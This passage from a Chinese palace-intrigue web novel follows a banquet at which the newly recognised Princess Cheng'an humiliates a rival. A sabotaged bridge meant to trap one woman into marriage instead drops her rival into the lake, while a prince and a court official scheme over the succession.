她心疼自家姑娘,“我们去和老爷说说,就说姑娘早起身子不适,留在家里歇息罢。” 方寻雁摇摇头。 不行。 林莺娘早有预料她这招,递帖子的时候便派人来传了话。 宫里的内侍嗓子尖细又锐利,“成安公主说了,她与方姑娘一见如故,昔日定远侯府一别,殿下甚是想念,眼下正期盼着和姑娘相见呢!这春暖乍寒,还请姑娘定要保重着身体,莫要耽误了进宫与殿下相聚。” 字字句句,都在戳方寻雁本就摇摇欲坠的心。 她白着一张脸谢恩,“多谢殿下挂念,臣女定当赴宴。” 玉箫到底是用芙蓉粉将姑娘脸上的憔悴遮掩了些许。 “姑娘,走罢。赴宴的时辰到了。” 方寻雁被玉箫搀扶着起身。 她实在害怕,大半身子都压在了玉箫身上,腿脚轻浮,游魂儿似的出了府,又游魂儿似的进了宫。 跟着宴席上的众人一起,跪下向林莺娘行礼。 “起来罢。” 高坐凤椅上的姑娘好大的派头,言语间能叫人屈膝跪地,也能叫人起身侧立。 方寻雁也随着众人起身,恍恍惚惚间一抬头,眼神不由怔住。 那竟是林莺娘? 富贵权势果然能养人。 那日冠礼上的姑娘已是温婉清丽,说不出的脱俗好看,“金陵城第一美人”的名头虽是过誉些,却也无人置喙。 更遑论现下。 那本就脱俗的面容藏在衔着明珠的点翠凤冠后,繁复的宫裙上银朱色绣金凤穿牡丹。 ——她被金雕玉砌的供养着。 这是真正的天潢贵胄,矜贵,华丽,尽显皇家威仪。 方寻雁头一遭设身处地的感受到了。 她面前的,不是偏远江州来的林二姑娘,而是这金陵城里尊贵无双的成安公主。 初春的天有些凉,她却赫然惊出满背的冷汗。 风一吹,更是忍不住瑟瑟颤抖。 有同行的官宦女眷瞧见,好心问她,“方姑娘怎么浑身都在抖?可是觉着冷?” 那女眷又觉着好奇。 这宫宴设在殿内,殿里烧有地龙。温暖如春,如何会冷? “方姑娘是不是生病了?” 她实在好心,见方寻雁脸色也是苍白的,关切询问。 “不……不冷……” 她说不冷,就连声音也是颤抖的。 那女眷当真好心,过来扶她,“不如我扶方姑娘到内殿歇会儿吧?” 有人瞧见了这处的动静,纷纷侧目过来。 成安公主本是被诸位贵女围在当中奉承寒暄。 一个道:“殿下可还记得臣女,昔日定远侯府的宴席上,臣女与殿下曾有过一面之缘。” 宴席上宾客何止百数,更遑论一面之缘者,更是数不胜数。 成安公主微笑颔首,“记得。” 又一个道:“还有臣女,那日女客宴席,臣女就坐在殿下旁边。当时臣女便觉得殿下气质卓然出众。臣女有心相交,然性子胆怯,不敢上前与殿下攀谈。” 她当真是后悔莫及,“殿下可还记得臣女?” 成安公主想了想。 她当时身边的确坐着一位贵女,只是那派头眼高于顶。 她还记着那位贵女当时撇嘴所说的话,“当真晦气,什么江州来的远亲,上不得台面的穷亲戚,也配与本姑娘同席。” 话里话外都是嫌弃。 成安公主又微笑,“记得。” 那贵女立即笑开,沾沾自喜,全然不知晓当时的话已叫人尽数听了去。 还有人要凑上前来说话。 成安公主却被旁的事吸引去了目光——原是那京兆尹家的姑娘身子不适。 方寻雁身边围着不少人。 京兆尹掌管金陵城大小事务,他的千金众人自然也是关切得紧,听闻她身子不适,都齐聚上来。 这便也引得成安公主过来。 “怎么了?” 成安公主问询,诸位贵女忙退开身。 成安公主瞧见了围在当中的方寻雁。 她垂首攥帕,不敢抬头看。 诸位贵女七嘴八舌替她答话。 “原是方姑娘身子不适。” 成安公主听完,徐徐走上前来,“方姑娘怎么不与我说?可还难受?要不我找个太医来,给方姑娘瞧瞧?” 她温柔又体贴,丝毫没有上位者的架子。 诸位贵女瞧在眼里,记在心里。 又看方寻雁,听得这关切之语却是骇白了脸,连连摇头,“多谢殿下好意,臣女并无大碍,谢殿下关心。” 她不欲招惹成安公主。 生怕她寻着由头发难,为难自己。 “方姑娘当真没事吗?我怎么瞧着,方姑娘声音都带着些抖。”成安公主微微一笑,点破了她的心虚,“还是,方姑娘这是怕我?” 方寻雁心事被拆穿。 她白着一张脸,勉强挤出笑来,“哪有的事,殿下说笑了。臣女见殿下如亲如故,怎会怕殿下。” 金陵城里的贵女,饶是再不济,阿谀奉承的场面话也是张口就来。 “如亲如故?” 成安公主微微挑眉,若有所思,忽然又笑开,“这话说得正是呢!我瞧着方姑娘也是如亲如故,亲切得紧呢!来人——” 第146章 刁难 她转头吩咐宫婢,“我与方姑娘相谈甚欢,你们将方姑娘的座席挪到我身边来,方便我与方姑娘说话。” 方寻雁的座席被挪到了成安公主身边,亲近之意尽显。 诸位贵女瞧着,心里恨恨。 还是那方寻雁诡计多端,竟想出这样的计来,吸引成安公主注意。 又不无艳羡。 怎么她就这般好命,轻易就得了成安公主青眼? 现下的方寻雁,如当时冠礼上的林莺娘一般,众矢之的,如坐针毡,如履薄冰。 成安公主瞧出来,搁盏询问,“让姑娘坐我身边是不是为难你了?” “不……”方寻雁连忙起身,恭敬垂首,“能坐殿下身边,是臣女的荣幸。臣女欢喜还来不及,又岂会为难。” “那就好。” 成安公主微微一笑,转过头去与席上诸位贵女说话,偶尔说到兴起时,也会和方寻雁搭上几句,方寻雁顿时如临大敌,战战兢兢起身答话。 分外拘谨。 但旁人瞧不见。 她们只瞧见这方寻雁好大的派头,竟让成安公主纡尊降贵主动来找她说话,她还一副不乐意的模样,这显得她们这些眼巴巴凑上去的人成了什么。 在场的都是金陵城里的贵女。 自然有看不过眼的,借机过来寻她麻烦。 数不清的酒盏送到方寻雁面前。 这样浅显刁难人的手段,若是寻常,方寻雁是万万不会喝的。 但今日她忌惮着成安公主,不敢在她席上生是非,只能硬着头皮喝下。 一盏喝完,紧接着又有另一盏送上来。 喝到最后,她实在不胜酒力,摆手意欲推辞,“我喝不下了……” 面前的贵女立即变了脸,语气也刻薄,“方姑娘只刻意不喝我的酒,难不成是看不上我?” 从前冠礼上方寻雁为难林莺娘的话,如今报应到她自己身上。 这端酒来敬的是兵部尚书家的千金。 有眼力见的宫婢小声凑到成安公主耳边解释,“兵部尚书是正二品,品级职权都高于京兆尹。” 这便是方寻雁得罪不起的人。 成安公主懒散晃着手中的酒盏,好整以暇地看着自己眼皮子底下这一场好戏。 富贵权势有多好用。 都不必她自己亲自动手,便有人眼巴巴凑上来替她整治。 她只看着便是。 方寻雁自然也识得兵部尚书家的千金,她咬咬牙,到底是将那一盏酒饮尽了。 腹中翻天覆地的酒意顿时涌上来。 她喝的这一盏,并不是席上供贵女饮的寻常果酒。 而是性烈呛喉的烈酒。 兵部尚书的千金将酒偷偷换了,这一遭,便是冲着方寻雁来的,是刻意要来难为她。 平素金娇玉贵的姑娘哪禁得起这样的烈酒,再兼她先前已被人逼着喝了不少果酒,腹中本就翻江倒海,这一遭再经受不住,也来不及掩嘴,捂着腹便尽数呕了出来。 那污秽之物,混着令人作呕的隐隐酒气,顿时倾洒了一地。 兵部尚书家的千金躲闪不及,裙摆上沾了些许,她帕子掩着口鼻退开,满是嫌弃,“你小心些啊!怎么都吐我身上了,真是恶心。” 这里闹得这般大,席上贵女的眼纷纷看过来。 今日是宫宴,金陵城里的贵女皆聚集在此,将方寻雁这狼狈一幕尽收眼底,也窃窃私语。 方寻雁面红如血,恨不能羞得找个地缝钻进去。 她平时也是这些贵女中的一个,自然明白她们嘲笑的眼,也知晓她们窃窃私语,说的是些什么不堪的话。 料想不过明日,这京兆尹家的千金宫宴席上无状的丑闻便会传遍金陵城。 这传了丑闻的姑娘,往后还有什么前程,就连许亲时,也会叫人低看一眼。 方寻雁心底泛起一阵凉薄。 她现下后悔极了,当初实不该听了谢夫人的蛊惑去招惹林莺娘,给自己惹出这般祸事来。 那谢夫人呢? 中途会散席,供诸位贵女们歇息。 方寻雁便寻到谢夫人跟前。 她打的病中未愈的由头,离席格外远。成安公主寻不见她,却叫一心寻她的方寻雁找了过来。 “夫人救我!” 两人去僻静无人处说话,她上来便求谢夫人,“夫人不是说了会护着我的吗?夫人可不能言而无信。” 方寻雁不能再回宴席上了。 她坐在成安公主身边,那些或艳羡,或嫉妒的眼几乎要洞穿了她。 她方才已经在那些眼里失了身为千金贵女的体面。 再回去。 还不知有什么样的龙潭虎穴在等着她。 谢夫人又如何不是如此。 她虽来了宫宴,却也不敢去成安公主面前触霉头,生怕叫她惦记上,惹出是非来。 饶是如此,也有人寻着声儿凑过来,“呀!这不是定远侯府的二夫人吗?您现下可是成安公主的贵客,怎的躲在此处?快快随我上前去见殿下。” 有的是人想借着定远侯府的名义攀附成安公主。 谢夫人掩唇轻咳两声,虚弱推辞,“不巧我染了风寒,尚在病中,不敢到殿下面前,恐污了凤体。” 她这招生病的法子屡试不爽。 只是这样的法子,能推辞过旁人,却推辞不过方寻雁。 她本就是被谢夫人牵连至此,又如何见得自己如今陷进泥沼,她却独善其身? 方寻雁不能同意。 谢夫人见着她便觉不好。 方才席上那些事她虽隔着远,没有亲眼瞧见,却也听来往的千金贵妇们说起,都道这京兆尹家的千金殿前失仪,有失体面。 她知道,方寻雁这是叫林莺娘整治了。 若是从前,这都不必方寻雁来求,她必定亲自为方寻雁出气。但是现下不行。 林莺娘已贵为成安公主。 眼下圣上刚寻回成安公主,她圣宠正盛,岂是自己能得罪得了的人物? 她不止不能帮方寻雁,还得板着脸来训斥她,“方姑娘慎言!这是宫宴上,姑娘这般言行无状,可会失了京兆尹府的体面。” 方寻雁还有什么体面? 她的体面,都叫方才宴席上那一盏烈酒给失尽了。 事到如今,她如何看不出来,自己是叫谢夫人给利用了。也看出来,她是打定主意不会帮自己了。 第147章 他既是想尚公主,我这当兄长的,必定要成全 她看着谢夫人,“夫人是不是不打算救我?” 谢夫人没法救,她自顾不暇。 “好。”方寻雁恨恨道:“那我就去跟成安公主说,当初那混了天仙子的酒是你让我送过去的……” 她气急败坏,索性破罐子破摔。 既然谢夫人不帮自己,那她也休想独善其身。 方寻雁转身欲走,身后的谢夫人却冷冷出声,“什么混了天仙子的酒?我从未听说过,方姑娘这是要空口白牙,平白诬陷我?” 方寻雁不可置信回头。 看谢夫人问,“姑娘说是让我送的酒,姑娘可有证据吗?” 方寻雁没有证据。 那混了天仙子的酒早叫林莺娘喝了下去,又是许久之前的事了,纵使当时有什么证据也早没了。 眼下,正如谢夫人所说,她是空口白牙,平白诬陷。 谢夫人还好心过来提醒她,“方姑娘可要想清楚,这是宫宴,我是定远侯府的主母,方姑娘若是敢在这里闹事,平白诬陷定远侯府的主母。这事若是让圣上知道,京兆尹府的尊贵和体面怕是都不要了?方姑娘可担得起这个罪责?” 方寻雁听明白了。 她在威胁自己,自己敢去成安公主面前捅破了此事,非但不能将谢夫人牵扯进来,还会毁了京兆尹府的体面和声名。 毕竟,不管谢夫人是否有意要害成安公主。 自己蓄意陷害成安公主的事却成了事实。 她一双猩红的眼看着谢夫人,里头满满是不甘。 谢夫人在她怨恨的目光里微笑,轻轻拍了拍方寻雁的手,是慈爱的长辈关怀。 “方姑娘自来聪慧,这个道理,我想不必我言明,姑娘自己便会明白的。姑娘也不是莽撞无知,不顾忌自家声名的人,是不是?” 这口恶气,方寻雁不管愿不愿意,都只能自己强吞下去。 她点头,从咬碎的牙缝中挤出声,“多谢夫人提醒,寻雁明白了。” 两人避开了众人,在游廊僻静处说话。 转角却有人将这一切尽收眼底,待两人离开后,才面露失望,轻轻叹,“真可惜呀!竟然没闹起来。” 说话的人是林莺娘。 方寻雁和谢夫人反目成仇的这一好戏她自然是不会错过。 她也盼着方寻雁识破谢夫人真面目,将此事大闹一场,自己也好看看一贯伪善仁慈的谢夫人在众目睽睽下如何还能保全自己的声名。 却不想等着等着,却只等到方寻雁忍气吞声的忿忿离去。 林莺娘失落极了,“这方姑娘当真是不堪大用,这般轻易就叫人拿捏住……” 旁边的郎君倒是眉眼落拓,并无失望之色。 眼前这一幕他早有预料,那卫青黛掌管定远侯府多年,区区一个方寻雁,又岂是她的对手。 好戏散尽,姑娘失了兴致,这便要回席上去。 宫裙上银朱色绣金凤穿牡丹拂过游廊,却落进郎君的怀里,他垂眼看她,意味深长地道:“这便走了?” 怀里的姑娘雍容华贵,是不同于寻常的美。 只是一开口便露了怯。 “不走干什么?” 她有意揶揄谢昀,吐气如兰,婉约似水,“侯爷可当心,这平阳公主就在席上呢,若是她瞧见,我与侯爷这般亲密,侯爷怕是不能脱身了……” 他们的亲密没叫平阳公主瞧见,倒是叫谢子慎瞧见了。 他远远站在廊檐下,看着这一幕,心里翻江倒海的,都是止不住的恨意。 成安公主的宫宴,并没邀请谢子慎。 毕竟他不过区区一巡城御史,圣上有意在宫宴上为成安公主招婿,位卑言轻的巡城御史如何能入得了圣上的眼。 他也不能跟着谢夫人来,谢夫人不许他进宫见林莺娘。 谢子慎是跟着四皇子来的。 宫宴这样大的事,四皇子自然是要来的,他将谢子慎带上,还不忘提醒他,“你与成安公主之事若是成了,可别忘了本殿下这个月老才是。” 谢子慎自然是恭敬行礼,“殿下今日之恩,微臣定当谨记于心,没齿难忘。” 四皇子满意地拍了拍他的肩。 谢子慎如愿进了宫,却没能见到林莺娘。她如今身份尊贵无双,被诸位贵女团团围在当中,众星捧月一般。 他翘首以盼,也只能瞧见那人群里露出的一点繁复宫裙。 高不可攀。 从前分明不是这样的。 他还记得在江州的林姑娘,是羞怯又婉转多情的,她小心翼翼看着自己,眼里是如化春水的期盼和仰望。 眼下自己却只能堪堪瞧见她的一点宫裙。 这巨大的落差让他心寒。 他在席上借酒消愁,散了席才来四下无人处吹风醒酒。 却不想叫他瞧见了谢夫人和方寻雁私下说话。 他看见了素日里教导他知书识礼,君子气节的母亲,再不复以往端庄有礼的模样。 不过颠鸾倒凤的几句话,便将本来嚣张的姑娘逼退了回去,还装模作样地来安慰她。 那是他从未见过的母亲。 阴狠,毒辣,不择手段。 谢子慎看着,心一点点往下沉去。 他知道,面前的母亲才是她的本来模样,他自小到大,都活在蒙蔽的假象里,眼下才算拨开重重迷雾窥见了真相。 他又看见了林莺娘和谢昀。 那是他高不可攀的公主殿下,眼下却落进他兄长的怀抱里,两人靠得极近,窃窃私语,亲密得很。 谢子慎眼里的恨意翻天覆地,身侧的手紧紧握成了拳。 他一直看着,等着林莺娘离开,才折身走开。 隐在暗处的青山走出来,听廊檐下自家主子问话,“他怎么来了?” 谢昀负手,沉沉目光落在方才谢子慎离开的地方。 青山垂首答,“三公子是四皇子带进来的。” 四皇子…… 谢昀若有所思。 青山悄悄觑一眼自家主子侧脸,斟酌道:“三公子似乎是冲着尚公主来的。” 尚哪位公主? 这是成安公主的宫宴,不言而喻。 檐下的郎君嗤一声,“我这个弟弟,当真是锲而不舍。” “可要拦着三公子?”青山问。 “不必。” 谢昀慢悠悠,意味深长:“他既是想尚公主,我这当兄长的,必定要成全了他这份心意才是。” 第148章 你可知四殿下邀我过去是为何事? 林莺娘回席上,平阳公主就在这儿等着她,看见了迎上来,“你去哪儿了?怎么一会儿就瞧不见人。” “殿下还问我,我去找殿下了呀!” 她说着谎,脸不红心不跳,反倒来问平阳公主,“我倒是要问问殿下去哪儿了,怎么刚散了席人就不见了呢?叫我好一顿找。” 平阳公主去找谢昀了。 她得了消息,今日宫宴,谢昀当真也来了。 平素他内阁事忙,平阳公主又在深宫,两人总不得相见。 今日宫宴,这样好的机会,她总要去见他的。 未料她在席上转了一圈,也没瞧见谢昀的踪迹。 眼下见了林莺娘,不免问她,“你方才可有瞧见谢大人吗?我找不见他。” “侯爷也来了吗?” 林莺娘当真是面露诧异,缓缓摇摇头,“我没瞧见呢!” 她又笑平阳公主,“原是赶着去见情郎,怪道方才在席上就魂不守舍的,怕是那时候就想着去找他了吧?” 平阳公主且羞且恼。 “你又笑话我,我再不理你了!” 她又出去找谢昀。 谢昀没瞧见,倒是瞧见了谢子慎。 他腿脚如今不方便,今日虽勉强没拄拐,行走却能瞧出跛瘸。 平阳公主见了亦是皱眉,“那不是谢大人的弟弟吗?” 偶有宫宴,她也见过谢子慎几回。 他虽官职低微,但承的是定远侯府的名,宫宴往来不在少数。 现在平阳公主见了他也不觉着奇怪,只是她看他微跛的脚,“几月不见,他脚怎么成这样了?” 旁边有宫婢解她疑惑,“听说是书阁取书时不慎从梯子上摔了下来。” “啊……” 平阳惊诧,她对谢昀的亲眷格外关心,“那还能好吗?” 宫婢回话,“好像说是摔断了骨头,好不了了。” 那便是终身落了残疾。 平阳公主听了,颇是唏嘘。 她听说过谢子慎,有谢昀这个兄长珠玉在前,他这个嫡亲的弟弟亦是时常被人提及。无非是世人多感慨比较。 听得多了,平阳公主也知道,谢子慎虽是谢昀亲弟,但不论是见识渊博,还是朝堂政绩,都远远不及谢昀。 如今又添了跛足,便更是泯然于众人矣。 但平阳只是些许唏嘘而已,并不搁在心上。 谢子慎如何,与她没有干系。她心心念念牵挂着的只有谢昀。 她转头吩咐宫婢,“你去帮本宫问问今日宫宴掌事的内侍,可知定远侯谢大人现在在何处?” 宫婢领了吩咐退下去。 她往水榭东边去,另一头的谢子慎却是往水榭西边。 他来见四皇子。 没有四皇子的助力,他连接近成安公主的机会都没有,更妄谈尚公主。 好在四皇子听了他的请求,只沉思了片刻便应允下来,“好罢,本殿下就送佛送到西,再帮你这一回。” 他同意帮谢子慎把成安公主约出来。 只是他也提醒谢子慎,“本殿下只能帮你到此,成与不成,还得看你自己的造化才是。” 谢子慎面上掩饰不住的欣喜,“谢殿下,微臣定不负殿下厚望。” 谢子慎心里已有了主意。 他早知林莺娘的心意。 ——她如今对自己早没了半点情意。 如今她一跃成了尊贵无双的公主,自己的脚又废了,她如何会允了自己这尚公主的话来。 他只能想别的法子。 四皇子的人很快到林莺娘跟前,只道是四皇子想见她,约她去湖中凉亭相见。 “殿下想见我?” 林莺娘觉着奇怪。 她进宫时日尚短,宫里的这些皇子公主她虽见了个齐全,只除了平阳公主,其他却并无深交。 如今好端端的,怎会突然来邀她见面? “你可知四殿下邀我过去是为何事?” 她问来请的内侍,内侍只躬身答,“奴婢不知,殿下过去见了四皇子殿下便知晓了。” 这便是只能过去。 但林莺娘留了一份心,她不能独自前往,若是当真有什么事,她也好拉个垫背的。 方寻雁自回了席上便垂着首,郁郁寡欢的模样。 她算是彻底被谢夫人给坑害了。 得罪了成安公主不说,如今连这蓄意陷害公主的罪责都叫自己给担了,始作俑者反而将自己摘了个干干净净。 自己还得替她遮掩着,不能捅破了去。 这般一想,方寻雁心里当真是又愤恨又委屈。 愤恨自己轻信谢夫人,活活叫她算计了去。 委屈现如今得罪了成安公主,往后的日子还不定怎样坎坷。 她看着这满堂宾客热热闹闹,只觉得自己前路黯淡无光,萧索得紧。 这样的时候,还有人来惦记她。 “方姑娘怎的一个人坐在这里?” 是成安公主。 她笑盈盈走过来,分明亲切妥帖,方寻雁却只觉得她满脸写满了不怀好意。 她有心想躲,却又惧怕着她的权势不敢动。 “殿下……殿下找臣女是有何事?” 她现下真是怕极了林莺娘,连说话也磕磕绊绊。 然而当事之人却浑然不觉,还亲亲密密来挽她的手,“我见方姑娘独身一人,在这儿实在无趣得紧,不如随我出去走走,路上我也好与方姑娘叙叙旧。” 她们能有什么旧要叙。 有的只有仇。 方寻雁下意识便想推拒,“殿下,臣女身子实在不适,殿下要不还是找别人罢……” 话还未说完,那挽着她的手便骤然收紧。 林莺娘笑盈盈靠过来,用仅能两个人听见的声在她耳边缓缓道:“我劝方姑娘还是听我的话,不然一会儿再开席,姑娘手里的酒是寻常的果酒,还是添了什么东西的梨花酿,本宫就不能保证了。” 她以自己的权势来压方寻雁。 同时也挑明了,自己早知那日冠礼上,她递过来的梨花酿里掺了天仙子,不过是没拆穿了她而已。 明晃晃的要挟。 这番话当真吓住了方寻雁,她本就苍白的脸色愈发惨淡了几分,紧闭着的唇上也毫无血色。 再细瞧,额上已冒出丝丝冷汗。 林莺娘拿了帕子替她拭汗,关怀备至,“方姑娘怎么流汗了?是不是这殿内太热了,我陪方姑娘出去走走,透透气可好?” 她拉着方寻雁便往外走。 第149章 落水 另一边的水榭旁,也有人来寻平阳公主。 是谢昀派来的人,邀公主去湖中凉亭一叙。 “谢大人在凉亭等我?” 平阳公主听见心上人邀约欢喜不已,也没来得及等先前的宫婢回来,便自行要去凉亭见谢昀。 谢子慎早在去往凉亭的廊桥里等着。 今日天色算不得好,廊桥里枝叶花卉又多,地上都是斑驳的影,便是一两块木板叫人松动了也瞧不出什么纰漏。 但是却不能踩。 只要有人甫一踏上,那摇摇欲坠的木板便会径直塌了下去。 那踩在上头的姑娘会怎么样? 会落进水里,然后呼救…… 谢子慎记着,林莺娘是不会水的。 昔日他们游湖泛舟遇了水匪,姑娘险些丢了命去,在闺房里养了好些日子才好。 这便称了谢子慎的意。 他要等姑娘掉进水里,大声呼救,然后自己再跳下去,在众目睽睽之下将姑娘从水里救起来。 到时满金陵城里的高门贵胄眼睛都看着,孤男寡女湿漉漉抱在一起。 林莺娘便只能嫁他。 为着这一日,谢子慎准备得周全。 他不会水。 每日关在房里将自己埋进盛满水的浴桶里,日日憋气。又在这春寒的天,往冰冷的水池子里跳。 谢子慎冻得牙齿打颤的时候,脑子里还在想。 便是看在他这般虔诚的面上,老天也该让他如愿一次了。 他只在暗处静静等着,等着姑娘落水的声传过来…… “扑通——” 果然有人落了水。 谢子慎心中霎时狂喜。 落水的声音不小,他听见有人陆续往这里来,他得赶在他们前头将人救起来。于是也顾不上细瞧那落水的姑娘,径直便跳进了湖里。 远处有一望山亭,遥遥可见湖中的情形。 六皇子沿着微开的一条窗缝看过去,将那边的嘈杂尽收眼底。 他微微敛目,“只有这个法子吗?若是平阳知道这一切是我们蓄意谋划,怕是会伤心死。” 他话说得委婉。 应当是平阳公主若是知道是她的心上人所为,才会伤心死。 但他不会说这话来开罪谢昀。 自己现下的一切都得仰仗他。 只是他也替平阳惋惜,自己这个妹妹向来天真烂漫,不谙世事,却被无情卷进这权利的漩涡中,无妄成了牺牲品。 谢昀将他这神色看在眼中,捏着茶盏的指腹在杯壁缓缓摩挲,“殿下若是当真舍不得,眼下后悔还来得及。” “不——” 六皇子当即否决,眸光瞬间坚定,“本宫都听谢大人的。” 两人此前早有谋划。 眼下圣上对储君之位迟迟未定,但朝中众臣无人不知,最有可能夺得储君之位的,是四皇子。 他身份尊崇,从前最得圣上疼爱,生母又是贤贵妃。 皇后早逝,她宠冠后官,掌六宫事,位份如同继后。 就连四皇子自己也觉得,如无意外,自己应当是储君之位的不二人选。 但这世上偏偏就会有意外。 倘若今日叫谢子慎成了事,他从湖里救出来的却并非成安公主,而是早已许亲的平阳公主呢? 那这事便不能轻易善了。 平阳公主乃是圣上最疼爱的小公主。 谢子慎是何身份? 一个得了家族荫蔽才得了御史台的巡城御史一职的富贵公子罢了,如何配得上他金尊玉贵娇养大的公主。 此事必得彻查到底。 那无故损坏的木板,谢子慎究竟意欲何为,又是谁在后头帮他,助他成事? 他是四皇子带进宫宴来的。 四皇子脱不了干系。 这样夺嫡的当头,只要有一点风声,就会有人借机生事。五皇子,十二皇子对这储君之位觊觎已久,岂能轻易让四皇子逃脱了去,说不定还要将此事闹大,给他安一个笼络朝臣,觊觎皇位的嫌疑。 毕竟谢子慎身后是定远侯府。 这便是触了圣上的大忌。 六皇子只等着,等着此事闹开,等到四皇子被牵连进去。 没了四皇子,五皇子,十二皇子又焉能善了? 他们逼迫坑害兄弟,等圣上回过神来,未免忌惮的不是他们。 这样一来,在圣上身边的,便只有自己了。 但这世事无常,每个人都不能如意。 先是谢子慎,他费尽心思跳下水来,瞧见水里挣扎的姑娘时瞬间怔住。 掉下水的不是林莺娘,是方寻雁。 她被林莺娘带来这廊桥,脚下的木板松动时,林莺娘早有提防,身姿灵巧躲了过去。 只是这方寻雁,本就跟着林莺娘战战兢兢,提心吊胆,哪里还有心思注意脚下。 这一个没提防,一脚就踏空跌了下来。 她也不会水,在湖里扑腾。 “救——救救我——” 她死命挣扎间看见谢子慎,求生的本能让她紧紧抓住了他,不肯松手。 谢子慎被她拉得直往下坠。 他不想救方寻雁。 本想着丢开她,自己偷偷跑了,不叫人知晓,却没想叫岸上的林莺娘瞧见。 她大声嚷嚷。 “是谢三公子吗?” 她一下就捅破了谢子慎的身份。 心急如焚喊他,“谢三公子,快,快救救方姑娘——” 这样大的阵仗,有靠得近的宾客们都过来瞧热闹,自然皆听见了林莺娘的话。 这下谢子慎不得不救。 他硬着头皮将方寻雁拖上岸。 姑娘一遭落水,吓坏了,跪伏在地上瑟瑟发抖,湿透的衣裙紧紧贴着她身子。 “还愣着干什么?” 成安公主连忙吩咐,“还不快给方姑娘披件衣裳。” 很快就有宫婢拿来衣裳给方寻雁披上。 成安公主瞧见,自然在场的宾客都瞧见了。 那方寻雁可是尚在闺中未出嫁的姑娘,就这般浑身湿漉漉的,叫谢子慎从湖里救了上来。 而且上岸的时候,姑娘惊惧太过,两条手臂都牢牢搂着谢子慎的脖颈,上岸之后才松开。 孤男寡女,湿身紧紧贴在一处,还叫众人瞧见。 宾客中隐隐开始有窃窃私语。 “那是哪家的姑娘?” “她呀,就是方才在席上的那位,京兆尹家的姑娘。” “原来是她家啊!” 有熟识她家的高门贵妇低声掩唇道:“我之前听说她家有个姑娘正在和礼部侍郎的公子相看,两家有意定亲,不会就是她吧?” 第150章 除了嫁给谢子慎,别无他法 “可不是,就是她呢!” “这可怎么办?”那贵妇蹙着眉,替她担忧,“好端端怎么闹出这样的事,这下那说好定亲的事可怎么办?” 与她交谈的人暗嗤一声,“还什么定亲,我看这下是定远侯府好事将近。” 说话间,她瞧见老远来人,示意那贵妇看过去,“你瞧,定远侯府掌事的来了。” 来的是谢夫人。 她的桌席离这廊桥甚远,眼下才得了消息匆匆赶过来。 她以为是谢子慎出了事。 不想过来一瞧,岸上两个人湿漉漉。又添旁边有人窃窃私语。 落水,救人,姑娘声名…… 她只断断续续听见这些零星的话便知晓了原委。 谢夫人险些支撑不住,用力撑着搀扶她宫婢的手才堪堪稳住身形,几乎是下意识的,她抬眼看向林莺娘。 那是一双恶毒的,恨不能吞噬她的眼。 谢夫人知道这里头定有林莺娘的手笔。 她今日赴宴,已是千防万防,万万没想到会在谢子慎这里出了茬子。 林莺娘分明瞧见她眼里的恨,还笑吟吟凑上来。 “谢夫人来了?” 如今不在定远侯府,外人都尊称她为谢夫人。 她装模作样,抚着胸膛庆幸,“方才的事,我真是要吓死了。真是多亏了谢三公子。好在他及时跳下水,将方姑娘救了起来。” 平阳公主也在此时姗姗来迟。 “发生了什么事?” 她见这儿围拢了一堆的人,走上前,才看见廊桥底下破了个窟窿,不免诧异,“这怎么破了一块儿?” 再一瞧,岸边两个狼狈湿透的人。 任是谁再迟钝也能知道是发生了什么。 眼下庆幸的却是平阳公主。 好险,若是自己早来一步,这落水的人就成了她了。 但最倒霉的不是落水。 平阳公主瞧了瞧方寻雁,又瞧了瞧谢子慎微跛的足,内心不免有些替方寻雁惋惜。 这好端端的姑娘,如今却是要嫁给一个废人了。 是了。 在场所有的人都心知肚明。 闹出这样的事来,方寻雁现下除了嫁给谢子慎,别无他法。 但方寻雁却是不肯。 “谁要嫁他?!” 她散宴回了府,在自家父母面前哭哭啼啼,“他那母亲是个坏的,他自己又是瘸子,父亲母亲怎么狠心,将我送进那虎狼窝里?” 京兆尹夫妇自然是不忍心,他们平素最是疼爱这个女儿,就连给她相看的亲事也是谨慎斟酌得紧。 本来预备两家定下,年底就能进门。 不想这当头竟出了这样的事。 方母心疼将她搂进怀里劝她,“我的孩子,白日里发生了这样的事,你不嫁给谢家三公子,又能如何呢?你的名声已经毁了啊!” 方寻雁搂着方母哭,“母亲,我不嫁他。名声毁了就毁了,我以后便不嫁了,就在府里陪着您和父亲。” “这是说的什么混账话?” 方父黑着脸,不能同意,“哪有姑娘家一辈子赖在闺中的道理。再说嫁给定远侯府也不算辱没了你,那谢子慎虽然腿脚瘸了些,但秉性却是不坏的,最是个好说话好相与的性子。他又是嫡出,长兄如今在内阁任职,往后前途定是不可限量。” 方寻雁闷着声嘟囔,“那是他兄长,干他什么事?而且他母亲又是个……” 她本想着要将谢夫人威胁她的事抖落了出来。 但转念一想。 她一贯骄纵任性,父亲母亲怕是不能相信,甚至还会因此责备自己,毕竟自己陷害公主的事情在先。 于是未说出口的话生生吞了回去。 “他母亲是什么?” 方父到底在朝为官,直觉敏锐,立即问她,“你方才说他母亲是个坏的,是什么意思?” “没什么。” 方寻雁摇头否认,她低着头,不敢直视父亲的眼,“女儿只是觉得谢夫人是继室,这世上哪有几个继母是好的。” 方父落下心来,宽慰她,“谢夫人虽是先定远侯继室,却素有贤名在外。更何况,谢子慎是她亲子,又是独子,你嫁过去,她不会委屈了你的。” 他是打定主意要将方寻雁嫁去定远侯府,任凭她如何死缠烂打都无用,甚至将她关进了闺房。 “等她何时想通了,再将她放出来!” 方父下了吩咐。 侍女玉箫得了吩咐来伺候方寻雁,见自家姑娘形容消瘦憔悴,心疼来劝她,“姑娘何必定要和老爷夫人对着干?老爷决定之事向来不能更改,姑娘何必苦了自己?” 方寻雁面如死灰,“我若是嫁给谢子慎,才算是苦了自己。” 她衰败的眼里满是恨意,“都怪那卫青黛,她诓得我为她出头,却将所有罪责都推到了我的头上,如今我还要嫁给她的儿子。我真是恨她!” 卫青黛毁了她的一生。 “姑娘既然恨她便更要振作起来。” 玉箫拉她去妆台坐,替她梳发,“眼下这亲事已经是板上钉钉,再不能更改了。姑娘何不换个念头想一想?姑娘嫁去了定远侯府,那仇人可就在自己眼跟前了,姑娘不想报仇吗?” 方寻雁自然是想。 卫青黛毁了自己的一生,自己又岂能轻易放过她。 如今得了丫鬟提点才算是反应过来,她看着镜中的自己,“是啊!我不想嫁,那卫青黛想必也不想娶,她现下,怕是愁得紧呢!” 谢夫人是愁。 她刚刚得罪方寻雁,转头她却要嫁进定远侯府,做自己的儿媳。这事换在谁身上,都得愁得好几夜睡不着觉。 她也责备谢子慎,“你不是说尚公主吗?怎么招惹到了方家的那个姑娘?” 